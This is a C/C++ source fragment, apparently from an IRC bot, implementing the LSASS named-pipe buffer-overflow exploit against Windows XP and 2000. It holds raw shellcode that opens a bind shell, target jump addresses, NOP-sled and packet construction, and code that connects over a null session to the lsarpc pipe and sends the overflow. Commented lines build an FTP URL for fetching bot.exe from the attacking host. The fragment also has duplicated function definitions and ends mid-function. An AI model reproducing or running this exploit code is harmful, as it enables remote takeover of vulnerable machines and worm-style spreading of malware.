	0xE7, 0xA1, 0x89, 0x15, 0xF2, 0x56, 0x22, 0xD7, 0xD8, 0x1C, 0x2F, 0xEE, 0xE3, 0x75, 0x19, 0x6D, 
	0xBD, 0x77, 0xF0, 0x5B, 0x41, 0xB2, 0x85, 0xCD, 0x73, 0xC5, 0x92, 0xAA, 0x46, 0x31, 0x7D, 0xB1, 
	0x6A, 0x4E, 0x0D, 0x11, 0x38, 0x60, 0xA5, 0xC0, 0xE9, 0xC5, 0x34, 0xE6, 0x83, 0xEE, 0xF8, 0x34, 
	0x9E, 0xC7, 0xD6, 0x37, 0x21, 0x1F, 0xDA, 0x36, 0x55, 0xC2, 0x80, 0xDB, 0x5D, 0x94, 0x76, 0xF6, 
	0xAF, 0x2E, 0x07, 0x2D, 0x56, 0xCF, 0x1C, 0x6C, 0x6B, 0xBB, 0xA7, 0xF0, 0x6A, 0x3C, 0xBD, 0x55, 
	0x8A, 0xDE, 0x60, 0xD2, 0xDD, 0xA0, 0xD6, 0x03, 0x50, 0x01, 0x52, 0x01, 0x29, 0x0E, 0x38, 0x3A, 
	0x35, 0xCF, 0x63, 0x26, 0xB7, 0x51, 0xD0, 0x3F, 0xCD, 0x8D, 0x49, 0x2F, 0x6F, 0x98, 0xBD, 0x77, 
	0x5F, 0x0C, 0xBC, 0xA9, 0x64, 0x03, 0x6F, 0x6B, 0x7C, 0x6A, 0x8D, 0xB2, 0x90, 0x6E, 0x13, 0x00, 
	0xF8, 0x6F, 0xB6, 0x71, 0x08, 0x78, 0x1D, 0xB8, 0x12, 0x64, 0x83, 0x44, 0x2E, 0x71, 0x9E, 0x89, 
	0xCE, 0x16, 0xE6, 0x70, 0xBF, 0x41, 0xF6, 0xC7, 0x09, 0xFE, 0xF0, 0xB4, 0xDA, 0xE1, 0x2F, 0xE9, 
	0xF7, 0x24, 0xF1, 0x48, 0xDE, 0x51, 0x77, 0x58, 0xFE, 0xC9, 0x68, 0x58, 0xB3, 0x85, 0xA4, 0xC2, 
	0x4C, 0x07, 0xC8, 0xAC, 0x00, 0xAE, 0x0E, 0x7C, 0x4D, 0x02, 0xF1, 0x6D, 0x41, 0x63, 0x4F, 0xAB, 
	0xAC, 0x50, 0x49, 0xEC, 0xB2, 0x16, 0xE6, 0x1E, 0xFF, 0xAD, 0xA1, 0x0A, 0x06, 0xEC, 0xA2, 0xC0, 
	0xB1, 0x1E, 0x40, 0x66, 0xAD, 0xA5, 0x0A, 0xD9, 0xDC, 0x9C, 0x3F, 0xDD, 0x18, 0x89, 0x73, 0xCA, 
	0xCF, 0xA8, 0x0B, 0x8B, 0x44, 0x45, 0x10, 0xDD, 0x74, 0xB5, 0xB4, 0x72, 0xA2, 0x2A, 0xC7, 0xE7, 
	0x12, 0xB3, 0x9B, 0x2D, 0x0D, 0xAD, 0x9A, 0xD4, 0x71, 0x9F, 0x0B, 0x75, 0xD7, 0x50, 0x31, 0xDB, 
	0x88, 0xB4, 0xA7, 0xF7, 0xFF, 0x7E, 0xBE, 0xB7, 0x72, 0x8B, 0xA8, 0xD9, 0x4E, 0xA1, 0xC6, 0x94, 
	0x3F, 0x7E, 0xC2, 0x60, 0xBA, 0xA0, 0x69, 0xEA, 0x3E, 0x0F, 0x45, 0x6D, 0x70, 0x32, 0xD2, 0x1D, 
	0xFA, 0x91, 0x6E, 0x5D, 0xF7, 0x2F, 0xE4, 0x46, 0x4C, 0x97, 0x8D, 0xD5, 0x6F, 0x2A, 0x36, 0xF7, 
	0x97, 0x36, 0xF2, 0x35, 0xC5, 0x0E, 0x6B, 0x8A, 0x64, 0x24, 0x95, 0xED, 0xD5, 0xFE, 0xC6, 0xB4, 
	0x5B, 0x3D, 0xF8, 0x0F, 0xA6, 0x51, 0xCD, 0xB7, 0xBE, 0xEA, 0xEA, 0x8E, 0xFF, 0x74, 0x98, 0xEA, 
	0x4C, 0xCD, 0x5E, 0x54, 0x65, 0xB4, 0xD4, 0x5D, 0xCA, 0x63, 0x9A, 0x69, 0x8D, 0x0E, 0x16, 0x9C, 
	0x52, 0x51, 0x3A, 0x7A, 0x71, 0x1F, 0x5C, 0xE5, 0x7E, 0xB7, 0x6D, 0xAE, 0x53, 0xE6, 0xB9, 0xD3, 
	0x26, 0x1A, 0x72, 0xD2, 0xEE, 0x24, 0x79, 0xE9, 0x90, 0xD5, 0x6B, 0x05, 0x3C, 0x53, 0x19, 0x81, 
	0x02, 0xAF, 0x14, 0x35, 0xC0, 0x72, 0xF4, 0x16, 0xFC, 0x61, 0x3F, 0xA0, 0x91, 0xF2, 0xC0, 0x26, 
	0xDE, 0x93, 0x37, 0x6F, 0x79, 0x01, 0xB8, 0x34, 0xDA, 0xD7, 0x86, 0x31, 0x15, 0xD8, 0x44, 0xE1, 
	0x43, 0xD1, 0xB2, 0xF5, 0xCA, 0xC9, 0x41, 0x6E, 0x90, 0x0C, 0x6B, 0xD0, 0xCA, 0x68, 0xF1, 0x54, 
	0xDF, 0xDF, 0xE0, 0x9A, 0x2E, 0xFF, 0xE2, 0x18, 0x99, 0xF1, 0x7A, 0xF7, 0x7A, 0x89, 0x09, 0x8D, 
	0x0E, 0x6E, 0x04, 0x47, 0x3B, 0x23, 0xAB, 0x29, 0xF4, 0x91, 0xA2, 0x29, 0x11, 0x76, 0xDD, 0x57, 
	0x9B, 0xD0, 0xC9, 0x18, 0x1B, 0x89, 0x47, 0x1D, 0xFD, 0xF4, 0x92, 0x31, 0x24, 0xB2, 0x2D, 0x1C, 
	0x9B, 0xD5, 0xA5, 0x2C, 0xE0, 0x85, 0x0E, 0x5C, 0xBC, 0xC9, 0x0D, 0x99, 0x1E, 0x39, 0x07, 0x24, 
	0xB6, 0x78, 0xA4, 0x97, 0x04, 0xDE, 0x7D, 0x93, 0x62, 0x48, 0x5A, 0xE0, 0xA0, 0x6E, 0xF7, 0xAF, 
	0xA5, 0xCB, 0x95, 0x47, 0x8D, 0x68, 0x3D, 0x83, 0x4C, 0xF9, 0x5D, 0xA0, 0xEA, 0x1B, 0x9A, 0x4B, 
	0xE7, 0xA1, 0x89, 0x15, 0xF2, 0x56, 0x22, 0xD7, 0xD8, 0x1C, 0x2F, 0xEE, 0xC2, 0x75, 0x19, 0x6D, 
	0xBD, 0x77, 0xF0, 0x5B, 0x41, 0xB2, 0x85, 0xCD, 0x73, 0xC5, 0x92, 0xAA, 0x46, 0x31, 0x7D, 0xB1, 
	0x6A, 0x4E, 0x0D, 0x11, 0x38, 0x60, 0xA5, 0xC0, 0xE9, 0xC5, 0x34, 0xF9, 0x83, 0xDD, 0xC3, 0x34, 
	0x9E, 0xC7, 0xD6, 0x37, 0x21, 0x1F, 0xDA, 0x36, 0x55, 0xC2, 0x80, 0xDB, 0x5D, 0x94, 0x76, 0xF6, 
	0xAF, 0x2E, 0x07, 0x2D, 0x9D, 0xCF, 0x1C, 0x6C, 0x6B, 0xBB, 0xA7, 0xF0, 0x6A, 0x3C, 0xBD, 0x55, 
	0x8A, 0xDE, 0x60, 0xD2, 0xDD, 0xA0, 0xD6, 0x03, 0x50, 0x01, 0x52, 0x01, 0x29, 0x0E, 0x38, 0x3A, 
	0x35, 0xCF, 0x3E, 0x26, 0xB7, 0x51, 0xD0, 0x3F, 0xCD, 0x8D, 0x49, 0x2F, 0x6F, 0x98, 0xBD, 0x77, 
	0x5F, 0x0C, 0xBC, 0xA9, 0x64, 0x03, 0x6F, 0x6B, 0x7C, 0x6A, 0x8D, 0xB2, 0xC0, 0x08, 0x00, 0x00 };

/*
		LSASS Scanner starts here
		scans for lsass exploit
*/

bool XLsassExploit(CLIENT* client, char *Host, unsigned short Port, char *adv)
{
	char szRecvBuf[4096]; //char szSCBuf[4096];
//	char szReqBuf[4096];/// char szShellBuf[4096];
	int iPos=0, iSCSize=0, iReqSize=0;
//	char *pTemp; int iHostOS=FpHost(m_sSocket.m_szHost, FP_RPC);
//	if(iHostOS==OS_UNKNOWN) iHostOS=FpHost(m_sSocket.m_szHost, FP_SMB);
//	if(iHostOS==OS_WINNT) return false;
			
//	CString sURL;

//	if(IsPrivate(g_pMainCtrl->m_pIRC->m_sLocalIp.CStr()) && !IsPrivate(m_sSocket.m_szHost))
//		sURL.Format("ftp://bla:bla@%s:%d/bot.exe", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), \
//			g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
//	else
//		sURL.Format("ftp://bla:bla@%s:%d/bot.exe", inet_ntoa(to_in_addr(g_pMainCtrl->m_pIRC->m_lLocalAddr)), \
//			g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);

	unsigned short port = htons(25083)^(USHORT)0x8080;
	memcpy(&shellcode[219], &port, 2);

//	iShellSize = sizeof(shellcode);
//	strcpy(szShellBuf, shellcode);

//	iShellSize=setup_shellcode_udtf(szShellBuf, sizeof(szShellBuf), sURL.Str(), true);
			
	unsigned char *szPacketInt=NULL, *szPacket=NULL; int iPacketLen=0;

//	switch(iHostOS) {
//	default: case OS_WINXP:
	//	{
			// Size = the header, string, 2 terminating \x00 (unicode), the end
			iPacketLen=sizeof(szPacketXP_Header)+STRING_LENGTH_XP+2+sizeof(szPacketXP_End);
			
			// Allocate the packet
			szPacket=new unsigned char[iPacketLen+2]; memset(szPacket, 0x00, iPacketLen+1);

			// Construct the packet base
			memcpy(szPacket, szPacketXP_Header, sizeof(szPacketXP_Header));
	        for(int i=0; i<STRING_LENGTH_XP-24; i+=4) *(unsigned long*)(szPacket+sizeof(szPacketXP_Header)+i)=ADDR_CALLESP_WINXP;

			memset(szPacket+sizeof(szPacketXP_Header)+STRING_LENGTH_XP-48, '\x00', 2);
			memcpy(szPacket+sizeof(szPacketXP_Header)+STRING_LENGTH_XP-48+2, szPacketXP_End, sizeof(szPacketXP_End));

			// Set the sizes of rpc header, and lpDnsDomainName string
			unsigned long lPacketSize=iPacketLen;
			unsigned long lPacketHint=iPacketLen-RPC_LENGTH;
			unsigned long lStringSize=(STRING_LENGTH_XP+2)/2;

			*(unsigned long*)(szPacket+OFFSET_PACKET_SIZE)	= lPacketSize;
			*(unsigned long*)(szPacket+OFFSET_PACKET_HINT)	= lPacketHint;
			*(unsigned long*)(szPacket+OFFSET_STRING_SIZE1)	= lStringSize;
			*(unsigned long*)(szPacket+OFFSET_STRING_SIZE2)	= lStringSize;

			// Add the call code to jump to the beginning of the buffer
			memcpy(szPacket+sizeof(szPacketXP_Header)+OFFSET_CALLCODE_WINXP, szPacketXP_CallCode, sizeof(szPacketXP_CallCode));


			// Add nop-sled just in case, fill from start to ishellsize+20
			for(i=0;i<=sizeof(shellcode)+20;i++) { memset(szPacket+sizeof(szPacketXP_Header)+i,0x90,1); }

			// Fill in the shellcode
			memcpy(szPacket+sizeof(szPacketXP_Header)+OFFSET_SHELLCODE_WINXP, shellcode, sizeof(shellcode));
	//	}
//		break;
/*	case OS_WIN2K:
		{
			// Size = the header, string, 2 terminating \x00 (unicode), the end
			iPacketLen=sizeof(szPacket2K_Header)+STRING_LENGTH+2+sizeof(szPacket2K_End);
			
			// Allocate the packet
			szPacket=new unsigned char[iPacketLen+2]; memset(szPacket, 0, iPacketLen+1);

			// Construct the packet base
			memcpy(szPacket, szPacket2K_Header, sizeof(szPacket2K_Header));
			for(int i=0; i<STRING_LENGTH; i+=2) *(unsigned short*)(szPacket+sizeof(szPacket2K_Header)+i)=0x41;
			memset(szPacket+sizeof(szPacket2K_Header)+STRING_LENGTH, '\x00', 2);
			memcpy(szPacket+sizeof(szPacket2K_Header)+STRING_LENGTH+2, szPacket2K_End, sizeof(szPacket2K_End));

			// Set the sizes of rpc header, and lpDnsDomainName string
			unsigned long lPacketSize=iPacketLen;
			unsigned long lPacketHint=iPacketLen-RPC_LENGTH;
			unsigned long lStringSize=(STRING_LENGTH+2)/2;

			*(unsigned long*)(szPacket+OFFSET_PACKET_SIZE)	= lPacketSize;
			*(unsigned long*)(szPacket+OFFSET_PACKET_HINT)	= lPacketHint;
			*(unsigned long*)(szPacket+OFFSET_STRING_SIZE1)	= lStringSize;
			*(unsigned long*)(szPacket+OFFSET_STRING_SIZE2)	= lStringSize;

			// Add the call code to jump to the beginning of the buffer
			memcpy(szPacket+sizeof(szPacket2K_Header)+OFFSET_CALLCODE_WIN2K, szPacket2K_CallCode, sizeof(szPacket2K_CallCode));

			// Fill in the offset
			memcpy(szPacket+sizeof(szPacket2K_Header)+OFFSET_EIP_WIN2K,		szOffsetCallEbxWin2K, sizeof(szOffsetCallEbxWin2K));

			// Allocate space for the unicode string
			char *szShellUnicode=new char[iShellSize*2]; memset(szShellUnicode, 0, iShellSize*2);

			// Convert shellcode to unicode
			if(Unicodify(szShellBuf, iShellSize, szShellUnicode, iShellSize*2)==-1) { delete [] szShellUnicode; return 1; }

			// Fill in the shellcode as unicode
			memcpy(szPacket+sizeof(szPacket2K_Header)+OFFSET_SHELLCODE_WIN2K, szShellUnicode, (iShellSize*2)-2);
			
			// Free the unicode string
			delete [] szShellUnicode;
		}
		break;
	}
*/
//	switch(Port) {
/*	case 135: case 1025: {
			// Connect to the server
			if(!m_sSocket.Connect(m_sSocket.m_szHost, m_sSocket.m_sPort)) { delete [] szPacket; return false; } // Connect failed, exit
			// Send the bind string
			if(!m_sSocket.Write((char*)bindstr, sizeof(bindstr))) { m_sSocket.Disconnect(); delete [] szPacket; return false; }
			// Read reply
			if(!m_sSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 10000)) { m_sSocket.Disconnect(); delete [] szPacket; return false; }
			// Send the evil request
			if(!m_sSocket.Write((char*)szPacket, iPacketLen)) { m_sSocket.Disconnect(); delete [] szPacket; return false; }
			m_sSocket.Disconnect(); delete [] szPacket; return true; }
		break;
*///	case 445: {
			NETRESOURCEW nr; bool bRetVal=false; unsigned long lWritten;
			if(!ConnectViaNullSession(Host, &nr)) { delete [] szPacket; return false; }
			else {
				char sPipePath[512] = {0}; sprintf("\\\\%s\\pipe\\lsarpc", Host);
				HANDLE hFile=CreateFile(sPipePath, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
				if(hFile==INVALID_HANDLE_VALUE) { CloseNullSession(Host); delete [] szPacket; return false; }
				DWORD dwRead; TransactNamedPipe(hFile, bindstr, sizeof(bindstr), szRecvBuf, sizeof(szRecvBuf), &dwRead, NULL);
				if(szRecvBuf[2]!=0x0C) { CloseHandle(hFile); CloseNullSession(Host); delete [] szPacket; return false; }
				if(!WriteFile(hFile, szPacket, iPacketLen, &lWritten, 0)) { CloseHandle(hFile); CloseNullSession(Host); delete [] szPacket; return false; }
				CloseHandle(hFile); }
			CloseNullSession(Host); delete [] szPacket; return true;// }
	//	break;
//	default: { delete [] szPacket; return false; } break; }
	delete [] szPacket; return false; }


/*

                   ['Automatic',    0x00000000],
                   ['Windows 2000', 0x773242e0],
                   ['Windows XP',   0x7449bf1a],
*               

	
    char beg[]=
    "\xad\x0d\x00\x00\x00\x00\x00\x00\xad\x0d\x00\x00";
    
    char end[]=
    "\x00\x00\x00\x00\x50\x6a\x40\x00\x01\x00\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x50\x6a\x40\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    "\x50\x6a\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
    "\x00\x00\x00\x00\x50\x6a\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00\x50\x80\x23\x00\xdf\xaf\xff\x33"
    "\x9b\x78\x70\x43\xc5\x0a\x4d\x98\x96\x02\x64\x92\xc1\xee\x70\x32"
    "\x65\xc1\xef\x7b\xd6\xaa\xd6\x09\x21\xf6\xe7\xd1\x4c\xdf\x6a\x2d"
    "\x0a\xfb\x43\xea\xda\x07\x24\x84\x88\x52\x9e\xa8\xa1\x7f\x4b\x60"
    "\xec\x94\x57\x33\x06\x93\x92\x25\xd6\xac\xdc\x89\x68\x5e\xbb\x32"
    "\x2b\x17\x68\xf2\x06\xb7\x86\xac\x81\xfe\x52\x27\xf5\x80\x11\x0d"
    "\x4e\x2e\x1b\xa3\x44\x8a\x58\xed\xf3\x9c\xe9\x31\x01\x72\xa6\xab"
    "\xfa\xa8\x05\x00\x37\x60\x6b\x81\xef\xf4\x96\x9a\xf7\x67\x95\x27"
    "\x7a\x25\xef\x6f\x0e\xff\x2d\x15\x7f\x23\x1c\xa7\x56\x94\x4a\x18"
    "\x98\xc6\xd8\xd2\x29\x5b\x57\xb8\x5d\x3a\x93\x58\x45\x77\x36\xe3"
    "\xd1\x36\x87\xff\xe3\x94\x0f\x00\xe6\x7c\x1a\x92\xc1\x5f\x40\xc3"
    "\xa3\x25\xce\xd4\xaf\x39\xeb\x17\xcf\x22\x43\xd9\x0c\xce\x37\x86"
    "\x46\x54\xd6\xce\x00\x30\x36\xae\xf9\xb5\x2b\x11\xa0\xfe\xa3\x4b"
    "\x2e\x05\xbe\x54\xa9\xd8\xa5\x76\x83\x5b\x63\x01\x1c\xd4\x56\x72"
    "\xcd\xdc\x4a\x1d\x77\xda\x8a\x9e\xba\xcb\x6c\xe8\x19\x5d\x68\xef"
    "\x8e\xbc\x6a\x05\x53\x0b\xc7\xc5\x96\x84\x04\xd9\xda\x4c\x42\x31"
    "\xd9\xbd\x99\x06\xf7\xa3\x0a\x19\x49\x07\x77\xf0\xdb\x7c\x43\xfa"
    "\xb2\xad\xb0\xfa\x87\x52\xba\xc9\x94\x61\xdc\xcf\x16\xac\x0f\x4a"
    "\xa3\x6b\x5b\x6e\x27\x86\x1f\xfe\x4d\x28\x3a\xa5\x10\x54\x6d\xed"
    "\x53\xf9\x73\xc6\x6e\xa8\xc0\x97\xcf\x56\x3b\x61\xdf\xab\x83\x18"
    "\xe8\x09\xee\x6a\xb7\xf5\xc9\x62\x55\x2d\xc7\x0c\x0d\xa0\x22\xd8"
    "\xd4\xd6\xb2\x12\x21\xd7\x73\x3e\x41\xb0\x5c\xd4\xcf\x98\xf3\x70"
    "\xe6\x08\xe6\x2a\x4f\x24\x85\xe8\x74\xa8\x41\x5f\x0e\xfd\xf1\xf3"
    "\xbe\x9b\x14\xfd\xc0\x73\x11\xff\xa5\x5b\x06\x34\xc3\x6c\x28\x42"
    "\x07\xfe\x8a\xa5\xbe\x72\x7a\xf7\xfa\x25\xec\x35\x5e\x98\x71\x50"
    "\x60\x35\x76\x53\x40\x1a\x34\xa5\x99\x09\xa2\xc6\xca\xa5\xce\x08"
    "\x50\x45\xab\x8d\xfb\xe3\xb8\xe4\x8a\x61\x48\x14\x6e\xf7\x58\x71"
    "\xe5\x2e\xbc\x12\xd1\x25\xe9\x65\x7a\xa1\x27\xbe\x3b\x8b\xe8\xe7"
    "\xbc\xe1\x05\xe7\x92\xeb\xb9\xdf\x5d\x53\x74\xc0\x63\x97\x80\xb8"
    "\x3c\xae\xf3\xf2\x09\x12\x81\x6c\x69\x10\x6f\xf6\xbe\x03\x7b\x88"
    "\xcf\x26\x6b\x51\x06\x23\x68\x03\xa1\xb7\xd3\x0c\xca\xbf\x29\x01"
    "\xa9\x61\x34\x75\x98\x1e\x05\x59\xb3\x46\x44\xff\x2b\x98\x04\x88"
    "\x89\xfd\x7f\xd5\x19\x8a\xa6\xf3\xd9\x44\xd5\xf9\x3a\x3c\xec\xd9"
    "\x9b\x8c\x93\x93\x2b\x44\x86\x8b\x80\x83\x23\x00\xdf\xaf\xff\x33"
    "\x9b\x78\x70\x43\xf1\x55\x87\xb1\xa1\xb3\x8e\x79\x02\x70\x82\x6c"
    "\x0b\xc1\xef\x96\xf1\xef\xdd\xa2\x69\x86\xc7\x85\x09\x7e\xf0\x2f"
    "\x8e\xa0\x5f\xea\x39\x2e\x24\xf0\x82\x30\x26\xa8\xa1\x4f\xc6\x5c"
    "\xec\x94\x87\x52\x9b\x93\x92\xf3\xa3\x1b\xc7\x8f\x9e\xb3\xbb\x32"
    "\x2b\x17\x54\xf2\x06\x0c\x86\x92\x0f\xb8\xe0\x27\x50\xaa\xeb\xf5"
    "\x4e\x2b\x1b\xb2\x44\xe6\x58\x02\xd7\x65\xdc\x31\x01\xec\xa6\xab"
    "\xfa\xa8\x05\x00\x37\x60\x4f\xa1\x3c\x4f\x7a\x9a\x10\x67\x95\xc2"
    "\x5b\x25\xef\x76\x0e\xff\x2d\x15\x7f\x23\x1c\x77\x56\x94\x4a\x18"
    "\x98\xc6\xd8\xd2\x29\x44\x57\xb8\x40\x3a\x93\x58\x45\x77\x36\x36"
    "\x07\x35\x2a\xff\x00\x94\x5c\x80\xe6\x7c\x1a\x92\xc1\x5f\x40\xc3"
    "\xbc\xf8\xce\x05\x77\x39\x40\x17\xcf\x63\x43\x77\x27\xce\x37\x86"
    "\x46\x54\xd6\xce\x00\x30\x36\xae\x9f\x24\x2b\x5a\xa0\xfe\xa3\x4b"
    "\x2e\x7e\xf7\x54\xa9\xd8\xa5\x76\x83\x7b\x63\x01\x1c\xd4\x56\x17"
    "\x02\xdc\x4a\x89\x77\xda\x8f\x9e\xba\xcb\x37\xe8\x19\x5d\x68\x38"
    "\x8e\xbc\x6a\x05\x53\x0b\xc7\xc5\x96\x84\x5a\xd9\x6d\x4c\x42\x31"
    "\xd9\xf2\x99\x06\xf7\x0c\x99\xbe\x49\x07\x77\xf0\x8b\x7c\x43\xfa"
    "\xb2\xad\xb0\xfa\x87\x52\xba\xc9\x94\x61\xdc\xcf\x16\xac\x0f\x4a"
    "\xa3\x6b\x5b\x6e\x27\x86\x1f\xfe\x4d\x28\x3a\xa5\x10\x98\x6d\xed"
    "\x53\xf9\x73\xc6\xa5\xa8\xf7\x66\xcf\x56\x3b\x61\xdf\xab\x83\x18"
    "\xe8\x09\xee\x6a\xb7\xf5\xc9\x62\x55\x2d\xc7\x0c\x0d\xa0\x22\xd8"
    "\xd4\xd6\xb2\x12\x21\xd7\x73\x3e\x41\xb0\x5c\xd4\xcf\x98\xf3\x70"
    "\xe6\x08\xe6\x2a\x4f\x92\x85\xe8\x74\xa8\x41\x5f\x0e\xfd\xf1\xf3"
    "\xbe\x9b\x14\xfd\xc0\x73\x11\xff\xa5\x5b\x06\x34\xc3\x5d\x28\x42"
    "\x34\xfe\x8a\xa5\xbe\x72\x7a\xf7\xfa\x25\x2b\x35\x5e\x98\x71\x50"
    "\x2c\x35\x76\x53\x4e\x1a\x34\xa5\x99\x09\xa2\xc6\xca\xa5\xce\x08"
    "\x50\x45\xab\x8d\xfb\xe3\xb8\xe4\x8a\x61\x48\x14\x6e\xf7\x58\x71"
    "\xe5\x2e\xbc\x12\xd1\x25\xe9\x65\x7a\xa1\x27\xbe\x3b\x8b\xe8\xe7"
    "\xbc\x77\x05\xe7\x92\xeb\xb9\xdf\x5d\x53\x74\xc0\x63\x97\x80\xb8"
    "\x3c\xae\xf3\xf2\x09\x12\x81\x6c\x69\x10\x6f\xf6\xbe\x03\x7b\x88"
    "\xcf\x26\x6b\x51\x06\x23\x68\x03\xa1\xb7\xd3\x0c\xca\xbf\x29\x01"
    "\xa9\x61\x34\x75\x98\x1e\x6f\x59\xb3\x46\x44\xff\x2b\x98\x04\x88"
    "\x89\xfd\x1c\xd5\x19\x8a\xa6\xf3\xd9\x44\xd5\xf9\x79\x26\x46\xf7"
    "\xbf\xa1\x12\x73\x23\x44\x86\x8b\x50\x6a\x40\x00";

	char shellcode[]=
	"\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
	"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3"
	"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1"
	"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01"
	"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24"
	"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad"
	"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53"
	"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc"
	"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff"
	"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53"
	"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a"
	"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9"
	"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50"
	"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff"
	"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89"
	"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93"
	"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6"
	"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad"
	"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
	"\xc4\x64\xff\xd6\x52\xff\xd0\x68\x7e\xd8\xe2\x73\x53\xff\xd6\xff"
	"\xd0";

unsigned char bindstr[] = {
	0x05, 0x00, 0x0B, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
	0xB8, 0x10, 0xB8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 
	0x6A, 0x28, 0x19, 0x39, 0x0C, 0xB1, 0xD0, 0x11, 0x9B, 0xA8, 0x00, 0xC0, 0x4F, 0xD9, 0x2E, 0xF5, 
	0x00, 0x00, 0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 
	0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};

unsigned char szPacketXP_Header[] = {
	0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x20, 0x15, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x08, 0x15, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x19, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x19, 0x08, 0x00, 0x00 };



              //     ['Automatic',    0x00000000],
                //   ['Windows 2000', 0x773242e0],
                  // ['Windows XP',   0x7449bf1a],

struct targets { int num; long jmpaddr; }
ttarget[]= {
	{ 0,    0x7449bf1a }, // "WinXP Professional    [universal] lsass.exe ",// jmp esp addr
	{ 1,     0x773242e0 }, // "Win2k Professional    [universal] netrap.dll", jmp ebx addr
};

bool XLsassExploit(CLIENT* client, char *Host, unsigned short Port, char *adv)
{

short target = 0;
//	int i, target = 0, len, targetOS;

//	char hostipc[40] = {0};
//	char hostipc2[40*2] = {0};
//	char buf[LEN+1] = {0};
//	char sendbuf[(LEN+1)*2] = {0};
//	char req4u[sizeof(req4)+20] = {0};
//	char screq[BUFSIZE+sizeof(req7)+1500+440] = {0};
//	char screq2k[4348+4060] = {0};
//	char screq2k2[4348+4060] = {0};
//	char recvbuf[1600] = {0};
	char strasm[]="\xe9\x3f\xf8\xff\xff";
//	char strBuffer[BUFSIZE] = {0};

//	int  numbytes, read=  0;
//	char buffer[1048] = {0};//2048] = {0}; 
//	char	cmd_buff[400] = {0};

//	char smblen;
//	char unclen;

//	unsigned short port;

char pattern[7000] = {0};
char overflow[sizeof(szPacketXP_Header)+7000+sizeof(beg)+sizeof(end)] = {0};
char szRecvBuf[4096] = {0};

	memset(pattern, 0x90, sizeof(pattern));

	memcpy(pattern+0, shellcode, strlen(shellcode));
	*(long *)&pattern[1964]=ttarget[target].jmpaddr;
	memcpy(pattern+1980, strasm, strlen(strasm));

//	sprintf(overflow, "%s%s%s%s", szPacketXP_Header, beg, pattern, end);
	strcat(overflow, (char *)szPacketXP_Header);
	strcat(overflow, beg);
	strcat(overflow, pattern);
	strcat(overflow, end);

	unsigned long lWritten;

				char PipePath[512] = {0};
				sprintf(PipePath, "\\\\%s\\pipe\\lsarpc", Host);

				HANDLE hFile=CreateFile(PipePath, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

				if(hFile==INVALID_HANDLE_VALUE)
				{ 
					CloseNullSession(Host);
					return false;
				}


				DWORD dwRead;
				TransactNamedPipe(hFile, bindstr, sizeof(bindstr), szRecvBuf, sizeof(szRecvBuf), &dwRead, NULL);

				if(szRecvBuf[2]!=0x0C)
				{ 
					CloseHandle(hFile);
					CloseNullSession(Host);
					return false;
